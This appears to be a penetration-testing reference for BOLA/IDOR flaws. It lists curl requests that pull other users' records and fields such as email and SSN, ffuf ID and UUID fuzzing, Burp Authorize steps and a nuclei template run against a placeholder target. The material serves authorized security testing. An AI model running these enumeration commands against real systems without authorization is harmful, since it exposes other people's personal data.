<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing BOLA Vulnerabilities

## curl — Sequential ID Enumeration
```bash
# Horizontal BOLA: access other users' resources
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/OTHER_ID

# Vertical BOLA: access admin resources with user token
curl -s -H "Authorization: Bearer $USER_TOKEN" https://target.com/api/admin/users

# Check response body for sensitive data
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/123 | jq '.email, .ssn'
```

## ffuf — BOLA Fuzzing
```bash
# Numeric ID fuzzing
ffuf -u https://target.com/api/users/FUZZ -w <(seq 1 1000) \
  -H "Authorization: Bearer $TOKEN" -mc 200

# UUID fuzzing from leaked values
ffuf -u https://target.com/api/docs/FUZZ -w uuids.txt \
  -H "Authorization: Bearer $TOKEN" -mc 200 -o bola.json -of json
```

## Burp Suite — Authorize Extension
```
1. Install Authorize extension from BApp Store
2. Set low-privilege token in Authorize config
3. Browse application with high-privilege session
4. Review Authorize tab for endpoints returning 200 for both tokens
5. Mark confirmed BOLA findings
```

## nuclei — BOLA Templates
```bash
nuclei -u https://target.com -t http/vulnerabilities/generic-idor.yaml \
  -H "Authorization: Bearer $TOKEN" -severity critical,high
```
